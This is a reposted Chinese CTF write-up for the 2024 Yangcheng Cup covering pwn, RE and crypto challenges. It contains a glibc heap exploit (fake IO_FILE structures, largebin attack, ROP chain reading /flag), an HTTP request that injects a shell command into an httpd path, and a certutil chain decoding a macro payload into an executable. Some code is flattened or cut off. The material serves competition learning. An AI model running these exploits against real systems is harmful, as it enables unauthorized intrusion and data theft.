data = flat({    0: {        0x18: p64(orw_addr),        0x68: _lock,        0x80: fake_IO_FILE + 0xe0 + 0x20,        0xb8: _IO_wfile_jumps    },    0xe0: {        0x18: 0,        0x30: 0,        0xa0: orw_addr,        0xa8: ret,        0xe0: fake_IO_FILE + 0x1C8 + 0x20,    },    # fake_wide_vtable    0x1C8: {        0x68: set_context_61    },    0x238: {        0: b'/flagx00x00x00',        0x10: {[ret, pop_rdi, orw_addr - 0x10, pop_rsi, 0, open_addr,                pop_rdi, 3, pop_rsi, fake_IO_FILE + 0x400, pop_rdx_r12_ret, 0x30, 0, read_addr,                pop_rdi, 1, pop_rsi, fake_IO_FILE + 0x400, write_addr]}    }})

# largebin attackadd(2, city_array[1], city_array[1], b'dddd', 0x300)add(0, city_array[2], city_array[2])add(0, city_array[3], city_array[1], p64(0x521) * 0x50, 0x3E8)delete(city_array[2], city_array[2])delete(city_array[1], city_array[1])add(0, city_array[2], city_array[2], b'cccc', 0x3E8)payload_fake_chunk = b'f' * 8 + p64(0x521) + p64(0x300000003) + p64(0x1000003e8)add(2, city_array[1], city_array[1], payload_fake_chunk, 0x300)

add(2, city_array[0], city_array[1], b'aahhhhaa', 0x300)add(0, city_array[4], city_array[3], b'aadksdaa', 0x3E8)add(0, city_array[3], city_array[1], p64(0x521) * 0x50, 0x3E7)delete(city_array[4], city_array[3])delete(city_array[0], city_array[1])add(0, city_array[4], city_array[0])payload = p64(0) + p64(0x501) + p64(0x400000004) + p64(0) + datapayload = payload.ljust(0x500, b'a') + p64(0x541) * 2add(2, city_array[0], city_array[1], payload, 0x300)

delete(city_array[3], city_array[3])add(2, city_array[0], city_array[1], b'ghsd', 0x3E8)edit(city_array[1], city_array[1], 0, p64(0) + p64(0x521) + p64(libc_base + 0x21b110) * 2 + p64(0) + p64(target_addr - 0x20))delete(city_array[4], city_array[4])add(2, city_array[1], city_array[1], b'jdgjg', 0x300)add(2, city_array[1], city_array[1], b'a' * 8 + p64(0x521) + p32(3) * 3, 0x300)

io.sendlineafter(b"5. Calculate the distance.", b'6')

io.interactive()

 

03
2024羊城杯WriteUP

httpd

看着难,其实看明白了非常简单的一道题

httpd用的是stdin,不走tcp,ida静态分析发现popen里有命令执行,所以第一次发送命令读flag,程序退出之后,再nc一次,发送html,读出flag

2024羊城杯WriteUP

 

直接利用pwntools发送就行了,两次即可

第一次

pay = """get /cat</flag>1.html HTTP/1.0Host: 1.1.1.1Content-Length: 123"""

第二次

pay = """get /1.html HTTP/1.0Host: 1.1.1.1Content-Length: 123"""

 

2024羊城杯WriteUP

RE

01
2024羊城杯WriteUP

pic

go语言逆向程序,发现程序开启了反调试,并且程序本身开启了符号保护,我们通过字符go语言的符号还原插件go_parser还原主要的API函数,定位到程序的加密代码

2024羊城杯WriteUP

 

main.main 函数主要就是读取 flag.png 然后 rc4 解密

def rc4(enc,key):    s=[]    for i in range(256):        s.append(i)    t=[]    for i in range(256):        t.append(ord(key[i%len(key)]))    j=0    for i in range(256):        j=(j+s[i]+t[i])%256        s[i],s[j]=s[j],s[i]    i=0    j=0    result=[]    for k in range(len(enc)):        i=(i+1)%256        j=(j+s[i])%256        s[i], s[j] = s[j], s[i]        x=(s[i]+s[j])%256        result.append(enc[k]^s[x]^ord(key[1])^17)return resultfor i in tqdm(product(Map,repeat=5)):    key = "".join(list(i))    enc = [0x85,0x43,0x72,0x78]    flag=rc4(enc,key)    if flag==[137, 80, 78, 71]:        print(key)        exit()

输入密钥key=0173d,得flag

 

02
2024羊城杯WriteUP

你这主函数保真吗

直接打开就是什么都没有,后来发现这是个假的主函数

2024羊城杯WriteUP

发现两个encrypt,点进去找到真的主函数

2024羊城杯WriteUP

 

两个加密函数分别是rot13和DCT

我们先逆DCT再逆rot13

from scipy.fftpack import dct, idctimport numpy as npenc=[513.355, -37.7986, 8.7316, -10.7832, -1.3097, -20.5779,6.98641, -29.2989, 15.9422, 21.4138, 29.4754, -2.77161,-6.58794, -4.22332, -7.20771, 8.83506, -4.38138, -19.3898,   18.3453, 6.88259, -14.7652, 14.6102, 24.7414, -11.6222,-9.754759999999999, 12.2424, 13.4343, -34.9307, -35.735,-20.0848, 39.689, 21.879, 26.8296]date_by_dct = idct(enc, norm='ortho')result=[0 for i in range(len(date_by_dct))]for i in range(len(date_by_dct)):    result[i] = round(date_by_dct[i])for i in range(len(result)):print(chr(result[i]),end="")

 

03
2024羊城杯WriteUP

docCrack

又是个office文件,而且打开提示宏,有了上次ISG的经验,这次直接提取宏

利用olevba .protected_secret.docm

2024羊城杯WriteUP

import chardetresult = []
with open('log.txt','r',encoding='utf-16') as f:    lines = f.readlines()    xp='dWPtWzWvKrZRFrsAWZMGNjZQbCrgAImKXVUkOykXWeRltpUU + AMaKeZzlhAtdNANKAKwMNbKEKUWuQVZQbbCJIUog + BvEKpalonhsRIgbPkYPYbsbQGzIzvPitapncgtGKIo + yBILPYnXCUApVHExOtpKlnfTkVfexwgrFQOFIveA + pqdgalQAZJKIDySPundFqdITahrgAYveJXfZCOUHWnUDKXZwZU + pErQJcjFIvYQeIehtTPMaOgEwFvvjnaTkabtJDvpHbWG + QmLHKhwBebnYaryyPsFeBassnVEjIoURcqNseXyjyMdcDfFnag'    pic = xp.split(' + ')    for i in pic:        for line in lines:            if '"' in line:                pass            else:                if i in line:                    print(i)                    result.append(line[line.index(' = ')+3:])                    # print(line[line.index(' = ')+3:])    new_result = result[0] + ' + ' + result[1] + ' + ' +result[2] + ' + ' +result[3] + ' + ' +result[4] + ' + ' +result[5] + ' + ' +result[6]    new = new_result.split(' + ')f.close()rr = ''with open('log2.txt', 'r', encoding='utf-16') as f:    lines = f.readlines()    for j in new:        for line in lines:            if j in line:                print(line[line.index(' = "')+4:-2])                rr=rr+line[line.index(' = "')+4:-2]f.close()with open('temp1','w') as file:    file.write(rr)

把之前那一大串数据进行赋值的同时,打包成exe文件

certutil -decode temp1 temp|certutil -decode temp temp.exe

根据v8直接

  

  v8[i]>>=6v8[i]^=7

即可

Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!

2024羊城杯WriteUP
Crypto

01
2024羊城杯WriteUP
TheoremPlus

几个质数在703440152里面然后-2

from Crypto.Util.number import *n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566p = next_prime(gmpy2.iroot(n, 2)[0])q = n // pe = prime_pi(703440151) - 2d = gmpy2.invert(e, (p - 1) * (q - 1))m = pow(c, d, n)print(long_to_bytes(m))

 

02
2024羊城杯WriteUP

BabyCurve

椭圆曲线加密

from Crypto.Cipher import AESfrom Crypto.Util.number import inversefrom Crypto.Hash import SHA256import hashlib

# 椭圆曲线点加法函数def add_curve(P, Q, K):    a, d, p = K    if P == (0, 0): return Q    if Q == (0, 0): return P    x1, y1 = P    x2, y2 = Q    # 计算新的x坐标    x3 = ((x1 * y2 + y1 * x2) * pow(1 - d * x1**2 * x2**2, -1, p)) % p    # 计算新的y坐标    y3 = (((y1 * y2 + 2 * a * x1 * x2) * (1 + d * x1**2 * x2**2) + 2 * d * x1 * x2 * (x1**2 + x2**2)) * pow((1 - d * x1**2 * x2**2)**2, -1, p)) % p    return (x3, y3)

# 椭圆曲线点数乘法函数def mul_curve(n, P, K):    R = (0, 0)    while n:        if n & 1: R = add_curve(R, P, K)        P = add_curve(P, P, K)        n >>= 1    return R

# 定义椭圆曲线参数a, d = 46, 20p1 = 826100030683243954408990060837K1 = (a, d, p1)G1 = (560766116033078013304693968735, 756416322956623525864568772142)P1 = (528578510004630596855654721810, 639541632629313772609548040620)Q1 = (819520958411405887240280598475, 76906957256966244725924513645)

# 定义用于加密的参数c, b = 35, 98p = 770311352827455849356512448287E = EllipticCurve(GF(p), [-c, b])G = E(584273268656071313022845392380, 105970580903682721429154563816)P = E(401055814681171318348566474726, 293186309252428491012795616690)

# 生成密钥def generate_key(point, base_point):    try:        # 尝试计算点对数,如果失败则返回None        return SHA256.new(str(point.log(base_point)).encode()).digest()[:16]    except Exception as e:        print(f"Error computing discrete logarithm: {e}")        return None

key = generate_key(P, G) if P and G else None

# 初始化向量和密钥iv = b'bae1b42f174443d009c8d3a1576f07d6'if key:    cipher = AES.new(key, AES.MODE_CBC, iv)    # 解密示例数据    encrypted_data = b'ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4'    decrypted_data = cipher.decrypt(encrypted_data)    print(decrypted_data)else:print("Failed to generate key.")

 

 

03
2024羊城杯WriteUP

TH_Curve

在这个网站找数据,一道ECC

https://www.hyperelliptic.org/EFD/g1p/data/twistedhessian/coordinates

from Crypto.Util.number import inverse, long_to_bytesfrom Crypto.Hash import SHA256

# 定义椭圆曲线的素数阶p = 10297529403524403127640670200603184608844065065952536889# Hessian曲线的参数aa = 2# Hessian曲线上的基点GG = (8879931045098533901543131944615620692971716807984752065, 4106024239449946134453673742202491320614591684229547464)# Hessian曲线上的点QQ = (6784278627340957151283066249316785477882888190582875173, 6078603759966354224428976716568980670702790051879661797)

# 计算d值,用于Hessian到Weierstrass的转换d = (a * G[0]**3 + G[1]**3 + 1) * inverse(G[1] * G[0], p) % p

# 计算转换系数d3 = d * inverse(3, p) % pa_d3 = a - d3**3coefficients = [1] + [    (-3 * d3 * inverse(a_d3, p)) % p,    (-9 * d3**2 * inverse(a_d3**2, p)) % p,    (-9 * inverse(a_d3, p)) % p,    (-27 * d3 * inverse(a_d3**3, p)) % p,    (-27 * inverse(a_d3**4, p)) % p]

# 定义Hessian到Weierstrass的转换函数def toec(M):    x, y = M    u = (-3 * inverse((a - d3**3 * inverse(27, p)), p) * x * inverse(d3 * x * inverse(3, p) - (-y) + 1, p)) % p    v = (-9 * inverse((a - d3**3 * inverse(27, p))**2, p) * (-y) * inverse(d3 * x * inverse(3, p) - (-y) + 1, p)) % p    return (u, v)

# 定义Weierstrass曲线E = EllipticCurve(GF(p), coefficients)

# 将Hessian曲线上的点转换到Weierstrass曲线G_weierstrass = E(toec(G))Q_weierstrass = E(toec(Q))

# 计算Q相对于G的标量乘法结果,并转换为字节序列scalar_multiplication_result = Q.log(G_weierstrass)result_bytes = long_to_bytes(scalar_multiplication_result)

# 输出结果print("Scalar multiplication result in bytes:", result_bytes)

04
2024羊城杯WriteUP

RSA_loss

已知m的高低位和m%n,然后枚举部分字符开始LLL算法

from Crypto.Util.number import *import itertoolsimport string

# 定义问题相关的常量c = 356435791209686635044593929546092486613929446770721636839137p = 898278915648707936019913202333q = 814090608763917394723955024893m = bytes_to_long(b'Xxeex1eyx88x01dXxf6ix91x80hxf4x1f!xa7"x0cx9ax06xc8x06x81x15')

# 遍历所有可能的三字符组合for ii, jj, kk in itertools.product(string.digits + string.ascii_letters + '_', repeat=3):    # 遍历可能的索引i    for i in range(25, 26):        # 构造B1,它是特定模式的异或结果        B1 = 256 ^ (i + 1) * bytes_to_long(b"DASCTF{" + long_to_bytes(ii * 256**2 + jj * 256 + kk))        # 构造B2,它是字符'}'的长整数表示        B2 = bytes_to_long(b"}")        # 计算U,它是B1和B2与m的差        U = B1 + B2 - m                # 构造一个用于LLL算法的矩阵        M = matrix(ZZ, [[256**2, 0, 1], [U, 256, 0], 

]) # 使用LLL算法寻找短向量 L = M.LLL() # 检查LLL算法的输出 for l in L: if l[0] == 0: # 如果第一个元素为0 flag = int(abs(l[2])) # 计算flag的值 # 检查flag是否由有效的ASCII字符组成 if all(0 <= char <= 127 for char in long_to_bytes(flag)): print(long_to_bytes(ii * 256**2 + jj * 256 + kk) + long_to_bytes(flag)) break # 找到flag后退出循环

2024羊城杯WriteUP

今天,我们揭晓羊城杯的PWN,Crypto,MISC,数据安全,RE,WEB方向的题目。请大家继续保持关注!

更多资源,敬请关注ZeroPointZero安全团队

 

2024羊城杯WriteUP
2024羊城杯WriteUP
END

注:ZeroPointZero安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的

原文始发于微信公众号(ZeroPointZero安全团队):2024羊城杯WriteUP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月29日16:35:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024羊城杯WriteUPhttps://cn-sec.com/archives/3108276.html

发表评论

匿名网友 填写信息